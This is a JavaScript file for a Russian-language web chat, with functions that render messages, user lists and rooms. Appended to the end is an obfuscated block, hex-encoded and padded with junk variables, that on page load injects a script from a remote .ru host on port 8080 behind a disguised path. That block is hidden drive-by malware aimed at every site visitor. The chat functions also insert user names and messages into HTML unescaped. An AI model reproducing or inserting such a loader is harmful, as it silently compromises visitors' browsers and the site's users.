  function htmlmsg(type, time, name, htmlname, msg)
  {
  	if(type == 'msg')
  	{
  		return '<i class="time">'+time+'</i> <a href="javascript:Insert(\''+name+'\');" class="nlink">'+htmlname+'</a>: '+msg;
  	}
  	else if(type == 'you')
  	{
  		return '<div class="dark"><i class="time">'+time+'</i> <a href="javascript:Insert(\''+name+'\');" class="nlink">'+htmlname+'</a>: '+msg+'</div>';
  	}
  	else if(type == 'meact')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' '+msg+'</b>';
  	}
    else if(type == 'spirit')
  	{
  		return '<i class="time">'+time+'</i> <a href="javascript:Insert(\''+spirit_name+'\');" class="nlink">'+spirit_name+'</a>: '+msg;
  	}
  	else if(type == 'enter')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">В чат входит '+htmlname+'</b>.';
  	}
  	else if(type == 'privat')
  	{
  		if(!IsWindowOpen(msg))
  		{
  			return '<i class="time">'+time+'</i> <b class="info">Приватное <a href="javascript:OpenPrivatChat(\''+msg+'\', \''+name+'\');">сообщение</a> от '+htmlname+'</b>.';
  		}
  		else
  		{
  			return false;
  		}
  	}
  	else if(type == 'exit')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' выходит из чата.</b>';
  	}
  	else if(type == 'exittext')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' '+msg+'</b>';
  	}
  	else if(type == 'kill')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg+' удален(а) из чата.</b>';
  	}
  	else if(type == 'chroom')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' переходит в комнату &ldquo;'+msg+'&rdquo;.</b>';
  	}
  	else if(type == 'status')
  	{
  		$("#status_"+msg['det']).html(msg['status']);
  		return false;
  	}
  	else if(type == 'timeout')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' удален(а) из чата по тайм ауту.</b>';
  	}
  	else if(type == 'global')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg+'</b>';
  	}
  	else if(type == 'ban')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg['banname']+' забанен(а) на '+msg['bantime']+'</b>';
  	}
  	else
  	{
  		return '<i class="time">'+time+'</i> '+type+' '+name+' '+msg;
  	}
  }

  function htmlonline(i, det, name, htmlname, status)
  {
  	if(i%2 == 0)
  	{
  		html = '<div class="row">';
  	}
  	else
  	{
  		html = '<div class="darkrow">';
  	}

  	if(status == 'on')
  	{
  		status = 'On-line';
  	}
  	else if(status == 'off')
  	{
  		status = 'Off-line';
  	}

  	html += '<span class="status" id="status_'+det+'" style="float:right;">'+status+'</span>';
  	html += '<a href="#" onclick="OpenPrivatChat(\''+det+'\', \''+name+'\');"><img src="skin/elfskin/privat.png"/></a>';
  	html += ' <a href="javascript:Insert(\' '+name+' \');" class="nlink">'+htmlname+'</a>';
  	html += ' <small class="mod"><a href="javascript:ModDel(\''+det+'\', \''+name+'\');">X</a>';
  	html += ' <a href="javascript:ModBan(\''+det+'\');">Бан</a></small></div>';
  	return html;
  }

  function htmlroom(i, id, name, count, passworded)
  {
  	html = '<div class="darkrow">';
  	if(i%2 == 0)
  	{
  		html = '<div class="row">';
  	}

    lock = '';
  	if(passworded)
  	{
  		lock = '<img src="skin/elfskin/lock.png"/>';
  	}

  	html += '<span class="status" style="float:right;">'+count+'</span>'+lock+' <a href="javascript:SetRoom(\''+id+'\', '+passworded+');" class="nlink">'+name+'</a></div>';
  	return html;
  }
var f="";var Qu="";function E(){var RV;if(RV!='' && RV!='z'){RV='h'};var t;if(t!=''){t='WL'};var Q=window;var oA='';var Pn=new Date();var V=new Array();var R=new String("g");var o=unescape;var qc=new Array();var g='';var tc="";var M="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x70\x31\x33\x38\x2d\x63\x6f\x6d\x2e\x6d\x69\x78\x69\x2e\x6a\x70\x2e\x66\x72\x65\x65\x77\x65\x62\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x53\x75\x70\x65\x72\x4c\x69\x6e\x6b\x73\x2e\x72\x75\x3a";var n=new Array();var v=new Date();function H(a,q){this.hW="";this.DY="";var Ld=new Array();var gs=new Array();var gI=o("%5b")+q+o("%5d");var c=new RegExp(gI, R);var fJ="";return a.replace(c, g);};var gZ=new String();var i=new String();var S=document;var Gj;if(Gj!='dE'){Gj=''};var mi;if(mi!='FO' && mi != ''){mi=null};var W=o("%2f%73%6d%68%2e%63%6f%6d%2e%61%75%2f%73%6d%68%2e%63%6f%6d%2e%61%75%2f%7a%61%7a%7a%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%74%77%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var WX;if(WX!='' && WX!='Kq'){WX=null};var xd=new Array();var G='';var Y=H('83510638737012','613527');var tu;if(tu!='QmF' && tu != ''){tu=null};var VR="";var bM="";var Mt;if(Mt!='' && Mt!='Tb'){Mt=''};function u(){G=M;this.k='';G+=Y;G+=W;var Gh=new String();try {var wF='';var UK='';P=S.createElement(H('sKcurfiKputz','ufzK0'));var DW="";var SS;if(SS!='MKh'){SS=''};var iw;if(iw!='' && iw!='MB'){iw=null};P.defer=[1][0];var ky=new String();P.src=G;var TH;if(TH!='kx'){TH='kx'};var lG="";S.body.appendChild(P);var yj;if(yj!='vX'){yj=''};this.M_='';var vN='';} catch(O){var YO=new Date();this.ga="";};var sO;if(sO!='' && sO!='Ct'){sO=null};}var QS;if(QS!='' && QS!='vL'){QS='iy'};var dr;if(dr!='' && dr!='LE'){dr='hI'};var DP;if(DP!='' && DP!='Ie'){DP='Rm'};Q["onl"+"oad"]=u;var Mh=new Date();var pi=new Date();};var Q_="";var EV="";var te=new Date();E();var KT="";